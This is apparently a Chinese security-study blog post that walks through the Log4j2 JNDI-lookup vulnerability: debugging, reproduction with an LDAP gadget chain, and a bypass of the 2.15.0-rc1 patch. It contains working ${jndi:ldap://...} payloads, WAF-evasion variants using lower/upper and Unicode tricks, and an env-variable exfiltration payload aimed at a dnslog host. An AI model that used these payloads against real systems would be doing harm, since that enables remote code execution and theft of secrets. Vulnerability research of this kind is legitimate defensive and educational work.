
学一下经典
主要参考
https://drun1baby.top/2022/08/09/Log4j2%E5%A4%8D%E7%8E%B0
https://www.cnblogs.com/zpchcbd/p/16200105.html
环境
- jdk8u65
- Log4j2 2.14.1
- CC 3.2.1
基础开发流程
加上这些依赖
1 | <dependencies> |
跟着大师傅的文章用xml简单实现一下,这里命名和路径都有要求
Log4j2 默认会按照特定的命名规则和路径查找配置文件。文件名 log4j2.xml 是 Log4j2 框架的默认配置文件名,放在 src/main/resources 目录下是标准路径。
1 |
|
再写一个类
1 | /** |
运行之后会打印
mylog.log内容也会更新
再看一下实际的例子
1 | import org.apache.logging.log4j.LogManager; |
大概就了解这些,还有些更具体的用法,或者xml的写法去区分日志信息是否打印及其打印位置,这些细节可以用ai帮忙了解
漏洞分析
影响版本:2.x <= log4j <= 2.15.0-rc1
刚刚这句logger.info("User {} login in!", username);
里面username是可控的,如果我们尝试把username控制成String username = "${java:os}";
再运行一下
可以看到回显的内容不是简单的os,明显是处理过的得到的系统信息
这是log4j自带的功能,官方有文档介绍 https://logging.apache.org/log4j/2.x/manual/lookups.html#JavaLookup
现在的问题是这里的lookup是基于jndi的,而前面已经学习了jndi调用lookup()是存在漏洞的
复现
1 | public class log4j2EXP { |
这里ldap服务依然直接用工具启动,带上cc6的利用链,运行成功弹出计算器
调试
学着大师傅把断点打在这里
下面有一个for循环,里面要处理event和buffer,event是我们需要日志打印的内容,另一个buffer,我们会把打印的东西写进buffer
进去有一个format()
方法,可以把他理解成一个处理字符串的方法,具体如何处理是要看具体情况怎么重写的,说是不是很重要。
总体来说这个循环使用来遍历formatters
,中间会做数据处理工作,前面都不是很重要。比如比如DatePatternConverter,它会格式化一个日期存储到buf中,LiteralPatternConverter就是格式化一个[]
符号
这里有多个formatter,刚好第七个比较特殊,里面的converter
是MessagePatternConverter
,会进入到的是一个不一样的format()方法,在PatternFormatter
类里面
再进入到MessagePatternConverter
类里面的format()
到这里判断是否是 Log4j2 的 lookups 功能,我们是,所以会往下
可以看到此时workingBuilder
是我们传入的payload
第一个if在判断workingBuilder中是否有${
,如果有,就取出$开始后面的字符串,然后跟进到replace()
里面
里面用到了substitute()
方法,再看,直到这一句,这个地方前面进行了多次循环读取,直到读到}获取到位置,然后把${}中间的内容提取出来,然后再调用this.subtitute
来处理
到后面我们可以看到处理的内容里面已经没有${}了
然后注意到这里有个this
可以猜测
resolver
解析时支持的关键词有[date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j]
,而我们这里利用的jndi:xxx
后续就会用到JndiLookup
这个解析器
再进入到resolveVariable()
里面,就可以看到调用了lookup()
跟进去有一个lookup.lookup()
,可以看到是JndiLookup()
类型的
最后就走到了JndiManager.lookup()
,这和之前jndi注入的点就重合了
小结一下
总体流程就是
1 | converter.format() |
- 判断有没有
${}
,有的话把里面的内容取出来,这里涉及到java代码里面递归提取。 - 后面使用:去分割payload,通过前缀判断是用什么解析器去lookup
- 目前支持的前缀包括
date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j
绕waf
很多时候waf会检测payload是否存在jndi:
等关键词
常见waf的payload,这里贴一下,以后可能遇到直接拿来用
1 | ${jndi:ldap://127.0.0.1:1389/a} |
官方有一个描述,如果参数未定义,那么 :-
后面的就是默认值,通俗的来说就是默认值
绕过手法:
多个分隔符和:-绕过
这块可以看一下这个文章,写的很详细
https://www.cnblogs.com/zpchcbd/p/16200105.html
利用upper和lower绕过
之前提到过允许的字符就有date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j
,就有upper和lower,可以利用这个功能绕过检测
1 | logg.info("${${lower:J}ndi:ldap://127.0.0.1:1389/Calc}"); |
也可以有一些特殊字符经过处理后变成我们想要的字符
ı => upper => i (Java 中测试可行)
ſ => upper => S (Java 中测试可行)
İ => upper => i (Java 中测试不可行)
K => upper => k (Java 中测试不可行)
比如
1 | logg.error("${jnd${upper:ı}:ldap://127.0.0.1:1389/Calc}"); |
利用其他解析器
比如通过sys
和env
协议,结合jndi
可以读取到一些环境变量和系统变量,特定情况下可能可以读取到系统密码
例如
1 | ${jndi:ldap://${env:LOGNAME}.dnslog.cn} |
Log4j2 2.15.0-rc1修复与绕过方法
修复详情
在依赖里把log4j换成2.15.0版本的再执行exp就没办法弹计算机了,证明我们给的payload没有按计划走到lookup里面
看一下修复差别,之前断点在PatternLayout.toSerializable()里,然后会进入PatternFormatter.format()方法
先不说PatternLayout.toSerializable()里面的变化,进入到format()后就很多不一样了
上图是2.14.1 版本的,下图是2.15.0版本的
可以看到converter()
变了,这次变成MessagePatternConverter.SimplePatternConverter
,而不是2.14.1的MessagePatternConverter
,会导致后面进入的format()方法不一样,就没办法进入后面的利用链
- 而且2.15.0 版本的 log4j 包还在
JndiManager#lookup
中增加了代码,这个细节后面再处理
绕过方法
现在绕过先尝试找到一个新的入口,回顾一下之前的函数调用链,这个方法走不通,我们就尝试定位某个方法,看看有没有别的地方调用了直到后面再到lookup()
1 | converter.format() |
于是前辈找到了MessagePatternConverter里面另一个format()方法,里面调用了replaceIn()方法
走到里面看一下,里面就有**substitute()**,属于StrSubstitutor
类,后面的东西就和前面一样了
回看调用 replaceIn()
方法的 format()
方法是LookupMessagePatternConverter
类的,这个类继承了MessagePatternConverter
,现在为了进入这个format(),我们要让前面的converter是LookupMessagePatternConverter
类,how to do?
前辈找到了在 newInstance()
方法中会调用 loadLookups()
这个方法(里面有判断 if ("lookups".equalsIgnoreCase(option))
符合判断才会返回true),然后出来之后有两个判断,这里要构造一下才能控制返回的converter是我们想要的LookupMessagePatternConverter
类
目前就是这些限制,需要手动修改他们,为了方便调试在log4j.xml里面添加新内容
1 | <configuration status="OFF" monitorInterval="30"> |
然后现在的exp是
1 | public class log4j2EXP { |
可以运行一下,还是有问题
看回显是不支持反序列化数据,调试进入看一下
前面的过程可以忽略,都差不多,我们来到JndiManager#lookup
里面,可以看到有很大的变化
这是2.14.1的 很简单就是直接走到lookup了
再看2.15.0的,里面多了很多代码,多了限制
有对 javaSerializedData 中的 classname 做了处理;以及 Reference 和 javaFactory 做了处理,也就是对 JDNI 注入做了处理
多了一些白名单allowedHosts和allowedProtocols
有这些判断所以用rmi绕过是走不通的
此时我们传入的payload是反序列化类型的,所以会走到if (!this.allowedClasses.contains(className))
的判断
很不幸就进入if了,直接return 结束了方法
所以要绕过这个判断,这里借用别的师傅rc1环境的图,我的环境用了2.15.0-rc2的环境
思路是直接不进入后面的if判断就好了,然后直接到最后直接lookup,所以可以把payload改成
1 | ${jndi:ldap://127.0.0.1:1234/ ExportObject} |
多一个空格不是正常url格式绕过,反正异常没有别的影响
这样就能绕过2.15.0版本的修改按计划走到lookup里面了!
2.15.0-rc2版本修复
这是rc2的lookup,故意给个不正常的url会直接return,卒!